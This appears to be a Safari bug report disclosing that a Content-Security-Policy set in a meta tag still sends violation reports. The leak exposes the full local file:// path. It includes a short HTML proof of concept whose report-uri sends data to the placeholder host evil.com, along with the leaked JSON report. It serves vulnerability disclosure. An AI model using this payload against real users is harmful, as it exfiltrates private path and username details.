Description Michele Spagnuolo 2016-06-01 09:03:39 PDT
Safari leaks the full file:// path in document-uri if a report-uri is in a CSP served via <meta> tag, even if the specification explicitly prohibits to honor report-uri if the policy is served via <meta> tag[1].



<!DOCTYPE html>
    <meta http-equiv="Content-Security-Policy" content="img-src 'none'; report-uri https://evil.com/csp">
    <title>CSP report-uri demo</title>
    <img src="cat.jpg" alt="A nice cat">

This is the report sent to a remote report-uri:

{"csp-report":{"document-uri":"file:///Users/mikispag/CSP/report-uri.html","referrer":"","violated-directive":"img-src 'none'","original-policy":"img-src 'none'; report-uri https://evil.com/csp","blocked-uri":"file"}}

Out of curiosity, what version of Safari are you using? You can find the version of Safari in Safari > About Safari.
